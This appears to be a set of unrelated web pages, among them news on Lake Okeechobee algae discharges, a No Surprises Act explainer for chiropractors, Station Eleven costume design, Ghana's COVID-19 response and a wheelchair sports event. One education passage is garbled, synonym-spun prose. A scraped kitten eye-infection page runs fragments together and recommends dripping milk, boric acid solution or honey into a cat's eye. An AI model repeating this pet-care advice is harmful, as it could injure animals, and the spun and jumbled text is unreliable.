"You are leaving our community to die," Mast told Semonite, referring to the lake's polluted freshwater discharges that carry toxic algae to the St. Lucie River.
"If you think this is hyperbole," Mast continued, "then I’m extending an open invitation to the leadership team at the Army Corps to stand by your policy: Come to Stuart, Florida, for a swim in our increasingly toxic water.
"If you feel the water is acceptable for our children to play in, for us to fish in and for our endangered animals to live in, then it should be good enough for you to swim in also."
The discharges will continue at their current rate, Army Corps spokesman John Campbell said Thursday afternoon. He did not comment on the invitation.
Mast also demanded a stop to discharges in a speech Thursday morning on the floor of the U.S. House.
"When it's not black, it's green with toxic algae," Mast said of the water color.
The discharges are destroying the river environment, Mast said. "And when you destroy our environment, you destroy our community. You destroy us, every one of us."
Toxic algae blooms
Since the discharges started June 1, nearly 11.5 billion gallons of Lake O water has entered the St. Lucie River. Many more billions of gallons have flowed into the river from canals stretching into farmland in western Martin and St. Lucie counties.
The massive influx of water has made the normally salty river estuary fresh, and the fertilizer runoff in the water provides food for algae.
Some of the water discharged from Lake O brought algae with it.
Since June 4 — four days after the discharges started — 21 algae blooms from Lake O through the St. Lucie River have been reported by and to TCPalm.
So far, the Florida Department of Environmental Protection has found four locations with toxic blooms: the Roosevelt Bridge in downtown Stuart, Leighton Park in Palm City, Riverland Marina Mobile Home Park marina on the South Fork of the St. Lucie River and at Port Mayaca, where Lake O water is discharged toward the river.
All four contained the toxin microcystin at levels far below what the World Health Organization considers hazardous in recreational use.
Report algae sightings
- Florida Department of Environmental Protection at 855-305-3903 or floridadep.gov/dear/algal-bloom
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“Make America great again”, “Au nom du peuple” (in the name of the people), “Wir sind das Volk” (we are the people). All these slogans promise citizens the ease and comfort of regaining control of their countries from migrants and outsiders. This desire for collective control is understandable but deeply problematic, says Chandran Kukathas. He argues that restricting immigration doesn’t just affect those on the “outside”, but the citizens inside, as well.
Chandran Kukathas is Chair in Political Theory and Head of Department at LSE Government. His book, The Liberal Archipelago: A Theory of Diversity and Freedom, explores the principled basis of a free society marked by cultural diversity and group loyalties.
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Lubricants Chemistry is on the cusp of a radical change, driven by legislation requiring lower greenhouse gas emissions, which then leads to changing demands on lubricants for passenger cars. In the short term the internal combustion engine must generate more power from a smaller volume. However, a longer-term scenario sees the internal combustion engine playing less of a role in a future zero emissions vehicle. This is leading to a demand for new molecules to deal with the new environment, such as
Additionally "green" chemistry is leading to either new ways of making both old and completely new molecules from sustainable sources.
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Schooling is about instructing , studying skills and knowledge It additionally means helping folks to learn to do issues and help them to consider what they study. These ideas are elaborated within the panel’s report: Making Faculties Work: Improving Efficiency and Controlling Prices.1 This paper, nevertheless, doesn’t point to a specific program or method for reorganizing schools to solve the problems related to school reform, partly as a result of we do not imagine that there’s a single answer.
Subsequent I will learn a wide range of proposals regarding religion and public schools. So, if for no other reason, you want to complete highschool to be able to get where you want to go. But your training can present rather more than a means to an finish.
Really, my theory as to why so many individuals recall not liking faculty is that the classroom shouldn’t be a terrific place for introverts to be. All that interaction, day after day, is exhausting for an introvert and given that about one third of the inhabitants is introverted, it is no surprise that school will get a nasty rap.
That is not likely a problem in itself, he continued — he would not need his listeners to suppose what faculties are doing is unhealthy or dangerous to college students. Additionally, academics have to be aware of the interest college students have within the technological world, and take this curiosity and use it as a method to develop competitive individuals for society, the nation and the world.
In a plan to bolster the civil rights of individuals with disabilities, Harris said she would improve funding for college students with disabilities and training for their lecturers. The OLPC foundation , a gaggle out of MIT Media Lab and supported by a number of major firms, has a acknowledged mission to develop a $100 laptop for delivering educational software program The laptops have been broadly available as of 2008. | <urn:uuid:84ba1f7f-cd2e-479d-ad17-96046a644fea> | CC-MAIN-2022-33 | http://theshellwilmington.com/learn-about-education-and-training/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572198.93/warc/CC-MAIN-20220815175725-20220815205725-00265.warc.gz | en | 0.966016 | 390 | 2.40625 | 2 |
What is the No Surprises Act for Chiropractors?
The Consolidated Appropriations Act of 2021 was enacted on December 27, 2020. The Act contains many provisions that protect patients (consumers) from surprise bills. The No Surprises Act protects people covered under group and individual health plans from receiving unexpected bills. Sometimes, patients seek emergency care, out of network ambulance services, or non-emergency services from out of network providers at in-network facilities. The often unexpected, leftover balance bill, is considered surprise billing. When a Chiropractor is out of network with a payer, and when patients pay out of pocket, the No Surprises Act applies to Chiropractors.
The Intent of the No Surprises Act Rule
Most of the regulations that were implemented in 2021 focus on helping patients, price transparency, and value-based purchasing. These objectives are not new. But even when patients tried their best to use only in-network care, some providers rendering services were considered out of network. As a result, the patient’s health plan would not cover the out of network cost, leaving the financial burden on the patient (consumer). The worst examples of out of network services and balance billing were ambulance services, emergency room facilities, and some anesthesia related procedures. These types of services didn’t allow the patient to confirm the network status of all providers.
No Surprises Act Affects all Providers
The No Surprises Act has taken it a bit further than just providers of emergency care or hospitals. The law focuses on three entities:
- Patient – Financial protections for out of network services and notification of out-of-pocket expenses
- Payer – Advance Explanation of Benefit requirement, price transparency, Independent Dispute Resolution (IDR) process for providers and payers to settle payment disputes
- Provider – Provide good faith estimates in advance of scheduled services, notification, and consent for out of network services, and price transparency–this is where the No Surprises Act applies to Chiropractors.
As of January 1, 2022, the billing protections for patients seeing an out of network provider are in place. The regulatory authorities want patients to be able to make informed decisions with their healthcare. The No Surprises Act’s objective was to protect insured patients from surprise balance billing for out of network services.
Providers who attempt to take on the task of reading this very complex rule will find the normal process for establishing a rule was not followed. For example, normally a law involves a single authority or agency. This one involves different departments such as the Departments of the Treasury, Labor, Health and Human Services (Departments), and the Office of Personnel Management (OPM). Collaboration is required and unfortunately, not all are speaking the same language. They need more input, therefore, although this law became effective January 1, 2022, the comment period from stakeholders was still open as late as December 6, 2021. Technically, comment periods allow lawmakers to consider the impact of implementation and make changes to the statute.
For now, the simple answer to the question of whether the No Surprises Act applies to Chiropractors is…Yes! Specifically, if the provider is working in an hospital setting, and is out of network with payers, the No Surprise Billing rules apply. In the practice setting, when seeing self-pay patients, the Good Faith Estimate rules apply.
Follow our helpful flow chart to see whether the No Surprises Act applies to you and your practice.
Learn more about whether you must supply a Good Faith Estimate to your self-pay patients.
After watching the webinar “Security Risk Management, A HIPAA Requirement”, I went to the government website and spent 4 hours trying to research what I needed to do and had to walk away as I was overwhelmed. After contacting my Account Manager, and setting a time to review the Compliance materials that are available at KMC University, I now feel this is what I was looking for…simple steps to walk from A-Z. | <urn:uuid:4cb6750b-5ef1-4eb0-b33d-a5ef8e2d87ec> | CC-MAIN-2022-33 | https://kmcuniversity.com/what-is-the-no-surprises-act-for-chiropractors/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.78/warc/CC-MAIN-20220817001643-20220817031643-00265.warc.gz | en | 0.948048 | 837 | 1.929688 | 2 |
In HBO Max's Station Eleven viewers are taken into a world radically altered by a devastating flu pandemic, one that wipes out most of the world's population and, two decades after the collapse of civilization as we knew it, follows the story of those who survived and have built new lives and communities, specifically that of Kirsten (Mackenzie Davis), a performer in a traveling group of actors and musicians who bring the works of Shakespeare to this new world. While the powerhouse performances by Davis and the other actors bringing Station Eleven, adapted from Emily St. John Mandel's novel of the same name, to life are a huge component of the storytelling, so are the costumes. In Station Eleven, the costumes worn by the various characters in the series all create a portrait of their own, especially those worn as costumes by the Traveling Symphony for their performances.
In Station Eleven, audiences briefly get to see contemporary theatrical costumes in the show's "pre-pandemic" performance of King Lear, and they are in stark contrast to the future costumes that the Symphony puts together for their performances in the "post-pan" world. Costume designer Helen Huang told ComicBook.com that it was important to separate the audience from the European tradition of theater costume for the future looks in how they created the future for the series.
"With the future costumes, one of the biggest things that I did think about was I want to separate the audience from the European tradition of theater costume, especially in referencing Shakespeare," Huang said. "That's a big goal and expand our world and think about if they are just creating art and anything is possible, what does that look like How do you make a Hamlet, a Claudius, a Gertrude, people who are nobility look like nobility without attaching it to European ideas of costumes."
Huang also spoke about how the background of the members of the Traveling Symphony factored into things.
"The other layers that we were thinking about was the people in the Traveling Symphony, the people that are making these costumes aren't necessarily people from a traditional theater background," she said. "They are people who have been through a traumatic experience, have found the Traveling Symphony as their family, as a way of an outlet. But they don't necessarily have an attachment to the way theater is supposed to look. The other thing is they might not have the capabilities to make things exactly perfect on the scene and cut patterns that could fit the body because they don't have the skills to do that."
Huang said that this led to the use of a lot of found objects and interesting uses for other objects, such as the Hamlet costume made out of puffer coats, but then she revealed that the real-world pandemic also influenced the costuming of the show.
"Because of the pandemic, we were shooting up in Canada and everything was closed," Huang said. "The only places we had access to was vintage stores that had barrels and barrels of vintage clothing, So, we did have to source from that to make these costumes. All the headdresses are actually from dumpster dives… Claudius' crown is made out of wires. Gertrude's crown is made out of cardboard and symbols and different found objects have been painted to look like decorative art. So, it was a lot that went into those costumes. Obviously, there was a lot of trial and error around everything, but at the end I think what we got was something that had a very found and also foreign but familiar quality because a lot of things used in it were things that exist in this world."
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In this tutorial, we’re going to learn how to draw the 2016 Instagram logo in Adobe Illustrator.
The Steps (1-19)
1. Create a new document.
2. Select the Rectangle Tool and hold Shift to draw a square. Give this shape a black fill and remove any strokes.
3. Using the handles inside the shapes’ corners, drag these towards the centre of the shape to round of the corners.
4. Next, source an image of the 2016 Instagram logo online (eg. Google), Copy and Paste this into Illustrator, and using the Eyedropper Tool, sample the 5 different colours used in the logo, and create swatches of these colours – blue, purple, red, orange, yellow.
5. With the square selected, go to Edit > Copy, and then go to Edit > Paste in Place.
6. Left-click holding Alt and Shift to scale this new square down in size towards the centre, and give the shape a thick stroke and remove the fill.
7. Select the Ellipse Tool, Left-click and hold Shift to create a circle.
8. Drag over all of the shapes created so far to select, and in the Align Palette, align all shapes horizontally and vertically. Give this circle the same stroke width as we did for the square in Step 6.
9. Create a new circle using the Ellipse Tool. Make this circle smaller, give this fill a white fill, and remove the stroke.
10. Select all shapes created so far, and go to Object > Expand, select Fill and Stroke, and click OK.
11. Select the black shape created in Step 2, and click on the Gradient Slider in the Gradient Palette.
12. Drag the blue swatch on to left side of the Gradient Slider. Drag the pink swatch on to the right side Gradient Slider, and drag the red swatch into the centre.
13. Select the Ellipse Tool and hold Shift to create a circle. Give this circle a fill colour using the orange swatch.
14. With the orange circle selected, go to Effect > Blur > Gaussian Blur, and blur the shape as far as you can, up until you see any hard edges appear. The goal is to softly blend this circle into the existing gradient.
15. Select the orange circle, and go to Edit > Copy, and then Edit > Paste in Place. Hold Alt and Shift to scale this new circle down in size towards the centre. Give this shape a fill colour using the yellow swatch, and apply to same Gaussian Blur effect as in Step 14. Select both circles and go to Object > Group, to group these two shapes together.
16. Select the gradient shape and go to Edit > Copy, and then Edit > Paste in Place, and position the orange and yellow circles in the bottom left corner of the gradient shape.
17. With the copy of the gradient shape selected, go to Object > Arrange > Bring to Front. Next, hold Shift to also select the orange and yellow circle group, and go to Object > Clipping Mask > Make. This will mask the circles inside the gradient shape/rounded rectangle.
18. Move the masked orange and yellow circle up so the edges line up with the gradient shape in the bottom-left corner.
19. Lastly, group all shapes with colour together by holding Shift to select, and then going to Object > Group, and then go to Object > Arrange > Send to Back, to make sure that the white Instagram logo is displayed on top of the colours.
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Using silent thinking to disrupt herding behavior
Yolanda Cooper was frustrated. She liked to have her students discuss concepts she presented in class. But what usually happened is that the first student’s comment became the focus of the entire discussion. The result was a very limited or even one-dimensional exploration of the topic.
One day she decided to get out of this rut. Before she broke up the class into discussion groups, she asked each student to write down at least one relevant issue to explore on an index card. When the discussion groups were ready, she distributed a copy of the cards to each of the discussion facilitators. Then she asked the facilitators to make sure that each issue was discussed. The result was a much more expansive discussion of the overall topic. When Cooper collected the cards at the end of the discussions, she was also impressed that the silent generation of issues led to a broader range of issues than previous classes had uncovered, when she would have students respond immediately.
The first comments in a discussion often have an undue influence on the direction of a discussion. Often those comments are made by the most vocal or self-confident participants. This can lead to herding behavior, where subsequent comments all cluster around the first comment or comments. It can also lead to information cascades, where a strongly made comment deters individuals from deviating, even it if means disregarding their personal thoughts. This can be discouraging for those whose primary concerns don’t get discussed. Often, they won’t feel comfortable bringing up their issues when the rest of the group seems to have coalesced around the earliest comments. This is a recipe for groupthink, where adhering to the group consensus is more important than individual insights and critical reflection.
Students tend to censor themselves when they find they are an outlier from what seems to be the group consensus. All too often an entire group may be practicing self-censorship to fit in with the premature consensus. The result is a false sense of agreement.
We all want to be well liked by our peers, and students are no exception. In higher education, we frequently stress team work as a highly desirable skill. But students often take this as needing to be agreeable above all. Thus, the tendency not to bring up issues that diverge from what others have expressed.
The silent thinking process gives a sense of security to those who might have issues they wouldn’t feel comfortable bringing up orally. Silent idea generation also gives those who are shyer an opportunity to introduce topics that might otherwise be lost.
For the silent thinking process to work in the actual discussion, facilitators should aim to make a natural connection from one issue to another. This can help the discussion to flow, rather than creating the sense of a disconnected series of topics. The facilitator should also strive to have the group give an honest airing to each of the issues.
The silent thinking process is occasionally used in town hall meetings and political debates, but its application could be more widespread. How do you think you could put it to use–whether in classrooms or in other discussion contexts? How might it be adapted for videoconferencing discussions, where participants might feel more awkward about prolonged silences? What guidance might you offer so that anonymous responses aren’t misused as a way to raise abusive and hurtful issues? How could discussion groups avoid herding behavior and give the participants the confidence to raise issues that are important to them? Of course, those issues might be controversial and difficult for a group to deal with. Silent thinking might help a group make a transition from embracing the comfort of a premature and self-censoring consensus to embracing the discomfort of a genuine and wide-open exploration. Share your ideas and responses via Twitter @IFTalks or FaceBook @whatIFdiscussions.
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Thinking through things is hard work and it sometimes seems safer to follow the crowd. That blind adherence to such group thinking is, in the long run, far more dangerous than independently thinking things through. – Thomas Watson, Jr., founder of IBM
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January is known as the National Eye Care Month. This month is mostly devoted by most eye care professionals across the globe are promoting healthy vision. Optometrists and ophthalmologists recommend strongly that everyone get their eyes checked every year, and what better time to do so than in January. It’s a New Year and it’s time for a new and healthy VISION.
It does not matter whether you wear corrective lenses or not, or even if you think your eyes are in perfect condition. Getting the regular eye exams is a necessary part of our overall wellness, and vital to make sure our continued healthy vision.
As we age, eye exams become even more important. Vision problems may develop with no physical symptoms until they’re quite advanced. See your provider to screen for early stages in:
- Age-related macular degeneration (AMD)
- Diabetic retinopathy
- Refractive errors
Scheduling an annual eye exam is a way to prevent injury and improve overall health in our Elders! Protect our Elders against potentially debilitating vision loss.
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Atherosclerosis, also known as blocked coronary arteries, is the build-up of fatty deposits called plaques on the inner walls of the arteries. These plaques can affect the blood flow to the heart muscle, leading to heart diseases. A stent is a metal mesh that opens a blocked artery and reduces the risk of a heart attack Angioplasty and stenting are performed to widen the blocked artery. A preliminary research has found that stents coated with an erectile dysfunction drug may help prevent arteries from becoming narrow or blocked again.
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Red Bluff East California US Topo Map
2018 topographic map quadrangle Red Bluff East in the state of California. Scale: 1:24000. Based on the newly updated USGS 7.5' US Topo map series, this map is in the following counties: Tehama. The map contains contour data, water features, and other items you are used to seeing on USGS maps, but also has updated roads and other features. This is the next generation of topographic maps. Printed on high-quality waterproof paper with UV fade-resistant inks.
Contains the following named places: Academy of Our Lady of Mercy, Antelope Elementary School, Ayer Park, Berrendos Middle School, Bidwell Elementary School, Big Bend, Blackberry Island, Blue Tent Creek, Brewery Creek, Brickyard Creek, California Highway Patrol Red Bluff, Calvary Temple, Central Valley, Church of God, Church of the Nazarene, City of Red Bluff, Craig Creek, Diamond Park, Dibble Creek, East Sand Slough, First Baptist Church, First Christian Church, First Church of Christ Scientist, First Methodist Church, First Presbyterian Church, Forward Park, Fry Field, Gospel Church, Herbert Kraft Free Library, Iron Canyon, Jackson Heights Elementary School, KBLF-AM (Red Bluff), Lincoln Street Independent Elementary School, Little Antelope Creek, Little Salt Creek, Mercy High School, Millrace Creek, New Creek, Oak Creek Golf Course, Oak Hill Cemetery, Orchard Park School, Paynes Creek Slough, Red Bank Creek, Red Bluff, Red Bluff City Hall, Red Bluff City Park, Red Bluff Diversion Dam, Red Bluff Diverson Dam Recreation Area, Red Bluff Fire Department, Red Bluff High School, Red Bluff Police Department, Red Bluff Post Office, Reeds Creek, Sacred Heart Parish School, Sacred Heart Roman Catholic Church, Saint Elizabeth Community Hospital, Saint Pauls Lutheran Church, Saint Peters Episcopal Church, Salt Creek, Samson Slough, Sevenmile Creek, South Log Pond 268 Dam, Tehama County, Tehama County Courthouse, Tehama County Fairgrounds, Tehama County Fire Department Station 1 Red Bluff Headquarters, Tehama County Sheriff's Office, Veterans Memorial Building, Vista Middle School, William B. Ide Adobe State Historic Park, William M Metteer Elementary School | <urn:uuid:c5052bf7-65be-4d51-b525-66292f519cee> | CC-MAIN-2022-33 | https://mapstore.mytopo.com/products/ustopo_california_red-bluff-east | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572198.93/warc/CC-MAIN-20220815175725-20220815205725-00265.warc.gz | en | 0.895966 | 494 | 2.046875 | 2 |
The Great Lakes Northern Forest (GLNF) Cooperative Ecosystem Studies Unit (CESU) is a regional network of faculty, specialists, managers, and staff from leading academic institutions, conservation organizations, and federal agencies. All units transcend political and institutional boundaries to improve the scientific base for managing public lands. They provide resource managers with high quality scientific research, technical assistance, and education. The GLNF CESU seeks to resolve resource problems at multiple scales using interdisciplinary ecosystem studies involving the biological, physical, social, and cultural sciences. The GLNF CESU has been hosted by the University of Minnesota’s Department of Forest Resources since 2002.
The National Park Service (NPS), through the Interior Region 1, North Atlantic-Appalachian History and Preservation Assistance Office, requires the performance of research and writing of a Historic Resource Study (HRS) Addendum for First State National Historical Park (NHP) located in Delaware
The National Park Service, requires the performance of research and writing of a Historic Resource Study about the experience of people of African descent during the American Revolution throughout the Interior Region.
Birmingham Civil Rights National Monument (BICR) was created in 2017 by presidential proclamation to commemorate, preserve, and interpret the dramatic events and struggle for human and civil rights played out in Birmingham in the 1950s and 1960s. BICR contains a collection of buildings and places that stand as a reminder of the violent opposition to integration. These places became a battleground for freedom during nonviolent protests that came to a head in 1963 and directly influenced the passage of the Civil Rights Act of 1964.
Examining Commercial and Non-commercial Visitor Use on Blue Mesa Reservoir and the adjacent Gunnison River at Curecanti National Recreation Area
Blue Mesa Reservoir is the largest of three lakes at Curecanti National Recreation Area (CURE) that were created by the damming of the Gunnison River between Morrison and Gunnison, CO. Blue Mesa Reservoir is the largest body of water in Colorado and is well-known for salmon and trout fishing. Immediately East of Blue Mesa Reservoir is a flowing section of the Gunnison River, which also offers outstanding opportunities for fishing, including wading and boat fishing.
Identifying visitor services and opportunities to inform the application of the National Park Service Intermountain Region’s Tourism Toolkit
Visitation to units of the National Park System has grown in recent decades, but this growth has been uneven. In some cases, park units have seen stalled or declining visitor use or are in a position where they are looking to grow their visitation. The Tourism Toolkit – developed in the Intermountain Region - is a first-of-its-kind effort in the NPS that aims to engage tourism networks and tourists. | <urn:uuid:a9bf1c4c-7c48-4ba1-a864-b533698e9b18> | CC-MAIN-2022-33 | https://cesu.umn.edu/?block_config_key=3Uh7xbiHBEshqTKELh6q1bWGq6JXWu8Rq7wKfn2VQ-I&page=1 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.78/warc/CC-MAIN-20220817001643-20220817031643-00265.warc.gz | en | 0.936136 | 562 | 2.453125 | 2 |
Interpret source of circular rna.
RNA is known as ribonucleic acid and it consist of ribose sugar which is attached with nitrogenous bases and phosphate group.
This RNA molecule get bonded in circular manner to produce circular RNA. A covalent closed loop is formed in linear RNA. 5’ end of linear RNA joined with 3’ end and results in production of circular form of RNA.
Chapter 25 Solutions
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In Christian texts Joshua means “Jesus as a better Joshua, as Joshua led Israel into the rest of Canaan“. Yesterday our guide, finding Josh an enthusiastic student of the history, cultures and architectures of Delhi, told us Josh means enthusiasm or intensity in Hindi. A cursory investigation in Google suggested otherwise, with josh as a verb meaning to be silly or banter.
There is also a dish called Rogan Josh that has been on many menus the past few days – an aromatic lamb dish of Persian origin, Rogan meaning old, josh meaning “heat, hot, boiling, or passionate”. Another interpretation of the name rogan josh is derived from the word rogan meaning “red color” (the same Indo-European root that is the source of the French “rouge” and the Spanish “rojo”) and josh meaning passion or heat. Excited to find himself on the menu, Josh ordered Josh for lunch today and quite enjoyed it. For dinner we went to Chonas, a restaurant of mostly young people in the upscale Kahn market. (You wouldn’t know it was upscale except for the Puma, Nike and McDonald’s stores – there is still trash, homeless people and rubble; yes, large unorganized piles of building materials in random places throughout the market.) Chona’s restaurant serves 2-for-1 660ml Budweiser bottles, with which Josh washed down his second delicious meal of Mutton Rogan Josh. “I am full of myself” he said at the end, and we walked back to our hotel through the peaceful streets of central Delhi.
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Secondary Seeding as a Means of Propagating Seeding Effects in Space and Time
AbstractSecondary seeding, whereby unseeded clouds ingest ice particles from clouds that earlier had received direct glaciogenic (e.g., silver iodide) treatment, is hypothesized to be a possible additional mechanism for the propagation of seeding effects in space and for time. The ingested ice particles, after experiencing some growth in the donor cloud, act to glaciate the receptor cloud during its active growth phase and provide it precipitation embryos. These embryos give the new cloud a head-start on precipitation development as they grow further as graupel to precipitation size in the updraft laden with high quantities of supercooled cloud water. This enhancement of precipitation-forming processes is postulated to be strongest in microphysically continental clouds in which natural and seeding-induced primary glaciation and hydrometeor growth are slow. A case study is presented to illustrate these processes.
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What Can I Put On A Kittens Infected Eye
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Home Remedies for Eye Infections in Cats | Cuteness How to Safely Clear Your Cat’s Eye Infection with Home Cat Eye Infection Home Remedies - TOP 6 Easy & Effective How to Safely Clear Your Cat’s Eye Infection with Home How to Treat Cat Eye Infection: 9 Steps (with Pictures Clean any discharge from your cat's eyes. Use a cotton ball dipped in water to gently wipe the corners of the eyes. Use a different cotton ball for each eye. If your cat has long hairs that could... Enlarged blood vessels on the surface of the eye. Part 2 Caring For an Eye Infection at Home 1 Clean eye discharge. If your cat has runny eyes or a discharge, use dampened cotton wool to wipe away the. Take a tablespoon of boric acid powder to dissolve in a cup of warm water and you can get a kind of solution. Drop a little of it into your cat’s. Your kitten will need to have an eye drop or ointment applied every few hours, probably one containing antibiotic. The veterinary staff will show you how to put the medicine in, so make sure you ask any questions you may have. Adding a drop or two of room temperature milk to your cat or kitten’s eye can help soothe and clear up an infection. You can do this two times a day, just try. To speed up the recovery process, it's a good idea to give kitten with eye infection vitamin-rich foods such as pureed butternut, carrot, mashed papaya and so on. In order to avoid causing potential stomach troubles, you need to serve the foods. When topically applied, honey is known to help lessen swelling and irritation in your eye. Owners can mix two tablespoons of organic honey with two tablespoons of distilled or sterile water. Make sure to shake and stir until the. Hold the cotton ball over the kitten's eye. Do not press or apply pressure. Gently wipe the cotton ball in the direction of the kitten's fur—from tear duct to outer eye. Repeat this several times a day. Tips to Prevent the Spread of Infection Switch cotton balls between eyes as not to spread potential infection. Step 1: Before you administer any type of eye drops, clean eye as best you can. Mix up a saline solution, by combining ½ cup warm water and ½ tsp salt. Stir vigorously and apply the solution to your cat’s eye using a cotton. Cat eye inflammation can often be soothed using Corticosteroid drops or ointment. This medication is typically used to treat conjunctivitis, episcleritis, scleritis, pannus, and eosinophilic keratitis. L-lysine If your cat's eye. | <urn:uuid:138bb8ca-0996-47f4-8590-c14e8d472c88> | CC-MAIN-2022-33 | https://www.cottreezy.com/profile/what-can-i-put-on-a-kittens-infected-eye/profile | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572033.91/warc/CC-MAIN-20220814113403-20220814143403-00265.warc.gz | en | 0.888202 | 618 | 1.890625 | 2 |
Ghana and most countries in the world captioned 2020 as a bad year due to the covid-19 global pandemic. The year 2020 has been a good year to others but some see it to be the cursed and lethargic year ever seen on earth since the H1N1 influenza in 1918.
The coronavirus pandemic has swiftly taken loved ones away from their kin and taken away happiness from the world as a whole. The virus originated from a city in China called Wuhan in the year 2019. The world realized the virus was deadly in the early days of 2020 after killing many infected persons in china
The virus spreads from one place to another through human contact and people get infected through the nostrils and mouth. The virus becomes effective after 2 weeks in your system. Within these 2 weeks, the symptoms associated with it pop out. Some symptoms associated with the virus are fever, dry cough, tiredness, aches and pains, sore throat, diarrhea, headache, loss of taste or smell, difficulty in breathing, chest pain or pressure, discoloration of fingers or toes etc.
Ghana recorded its first coronavirus with 2 cases on March 12, 2020. A press release signed by the minister for health Mr. Kwaku Agyeman Manu stated that the 2 recorded cases were imported into the country. Citizens in the country expressed shock at the situation and this made the president of the republic His Excellency Nana Addo Dankwah to close down schools, suspend festivals, close recreational centers, and suspend religious grounds, bars and beaches on March 15, 2020 till further notice in his first address to the nation. He also urged all Ghanaians to put on a face mask and wash their hands regularly with soap under running water. He also recommended alcohol based hand sanitizers should be used when water is not available at a specific location.
The recorded cases frightened the whole nation and seized production. People were petrified to go out with the intent of contacting the virus. Even though cautions were given to curb the coronavirus, it managed to spread from region to region putting the lives of the people at stake.
The president on his address to the nation on March 28 announced a lockdown on Greater Accra metropolitan area and Kumasi metropolitan area since majority of covid-19 cases were recorded there. The lockdown took effect from Monday March 30th, 2020 at 1am.
The president reiterated that, people can move to banks to do transactions and also go out to buy food but they shouldn’t move out when they have nothing to do. All government security personnel were on guard to ensure the order was obeyed. The lockdown took 2 weeks and was extended by a week more in the president’s address to the nation making it 3 weeks of lockdown. The ban was lifted in the president’s next address to the nation. The recorded cases as at when the lockdown was lifted was 8,070 recorded cases with 2,947 recoveries, 36 death cases and also 5,087 active cases.
In June 2020, the president released some partial restrictions on the places he locked down; this made the total cases recorded to rise.
The covid-19 virus lived with the people of Ghana and made things difficult for market women and tycoons who depended mainly on the public to sell their goods.
The president allowed final year students of universities to go and continue their studies on June 15, 2020 but must mind and adhere to all safety protocols. The president supplied free sanitizers and nose masks to public institutions and educated all on the virus.
After a year of commotion due to the covid-19 pandemic with more than 80,700 Ghanaian’s getting infected with the virus and over 580 lives being lost, the path to recovery for the people of Ghana began.
The arrival of the covid-19 vaccines into the country brought hope to the people of Ghana and expressed joy that the long awaited pandemic was coming to an end. Ghana was the first country to receive the covid-19 vaccines from the COVAX facility. Ghana received 600,000 COVAX vaccines (AstraZeneca / Oxford vaccine) licensed to the serum institute of India.
Citizens who were above 18 years took the first dose of the AstraZeneca and were given a covid-19 vaccination card which had the day they got their first dose written on it and the next time they should come for the second dose of the vaccine. Records were taken to ensure that the one taking the vaccine is above 18 years. The vaccines for children below 18 years also arrived and students were vaccinated through their various schools. Many citizens took the vaccine but others kept complaining the vaccine wasn’t safe.
The ministry of health and the Ghana health service advertised and spread information saying the vaccine is safe and there’s no health problem associated with it. The number of cases recorded in a day was dropping from huge numbers to smaller numbers with recovering cases rising.
The vaccination process is still undergoing and the government has urged all citizens to take a shot to help them from contacting the virus. Despite the vaccine’s presence in China, they are still in lockdowns. New cases of the virus are being recorded every blessed day leaving the people of china in trauma. The Ghanaian government also has urged all citizens to still observe all safety protocols even after vaccination because the virus still exists. | <urn:uuid:dc3f9362-9485-495d-aa8d-2652f663bdf7> | CC-MAIN-2022-33 | https://newsghana.com.gh/heart-rending-ticks-covid-19-served-the-world/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572198.93/warc/CC-MAIN-20220815175725-20220815205725-00265.warc.gz | en | 0.979864 | 1,114 | 2.296875 | 2 |
Wheelchair Palooza event draws hundreds of wheelchair users
SANDY, Utah — There was a large crowd and lots of cheering Saturday at a skate park in Sandy.
A professional wheelchair athlete was doing some tricks at the annual Wheelchair Palooza event.
It was canceled last year because of COVID-19 concerns.
The whole idea behind Wheelchair Palooza is to bring wheelchair users together to share stories and life tips, but most importantly, let them know they’re not alone in their struggles.
It takes skill to do the kind of skate park tricks you see on television.
Skaters at Lone Peak Park in Sandy kept trying Saturday afternoon, as they do almost every day.
What really impressed them, though, were the tricks 6-year-old Porter Greene was pulling — not so much because of his fearless attitude, but because he was doing them in his wheelchair.
What is Wheelchair Palooza? It's a lot of fun, and an opportunity for wheelchair users to come together. Today in Sandy, they also learned some new wheelchair tricks from a professional. We're doing a story on this for @KSL5TV at 5:30 and 10. #ksltv pic.twitter.com/5RDO7FEPaS
— Alex Cabrero (@KSL_AlexCabrero) September 25, 2021
“It’s just a part of me. That’s all,” he said with a shrug of his shoulders.
His chair has been a part of him his whole life.
Porter’s mother said he has a medical condition similar to spina bifida, but it has never stopped him from doing anything.
“I like going fast,” said Porter as he zoomed by.
For as many tricks as he knows, though, he saw someone at the skate park who might be able to teach him new tricks.
“Hey Wheelz, look at me,” Porter shouted.
Aaron Fotheringham, also known as Wheelz, is a well-known wheelchair athlete.
He was at the skate park Saturday, helping the Wheelchair Palooza event to be a big success.
“Seeing all these kids out here having fun in the park, riding their wheelchairs, honestly, it just warms my heart,” said Fotheringham.
It wasn’t just skating, but also sports like lacrosse and basketball, or just doing fun activities.
“There are lots of struggles and things that we face and we go through on our own,” said Amanda King, who is the President of the Utah Adaptive Alliance. “But when we come together in groups, we meet other people and we realize we’re not alone in our struggles.”
Feeling like you’re not alone is what Wheelchair Palooza is all about.
“I’m not going to lie, when we got here, I started bawling my eyes out because I’m emotional anyways, but it was beautiful to see all these other people and meet all these other moms and parents who know what we’re going through,” said Lindsey Selcho, whose son was trying new tricks in his wheelchair.
Parents may know the challenges, but children like Porter don’t know any different. To them, they can do anything.
“If you tip over, you can get up again,” said Porter.
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In the fall of 1984, a group of 16 people from the towns of Calmar, Fort Atkinson and Spillville got together to take a class called First Responder. Over the past 18 years active membership has stayed around 15 volunteers, consisting of certified First Responders, Emergency Medical Technicians (EMTs) and Paramedics, responding to any trauma or medical emergency day or night.
These people had started out with basic medical first aid kits and have over the years not only maintained these kits, but have expanded three main kits with oxygen, automatic external defibrillators (AED), combitubes (for airways), suction equipment and 2-way radios in the towns of Calmar, Fort Atkinson and Spillville. Many hours go into initial training of emergency medical responders, along with the continuing education that needs to be maintained every two years. Monthly meetings are also held alternating among the three towns. Skills are reviewed and practiced.
The funding for this is provided through the generosity of donations from the communities and some limited funding from the Iowa Dept. of Health and the State Bureau of EMS. The community has been completely supportive over the years both financially and spiritually and for that the volunteers are very thankful.
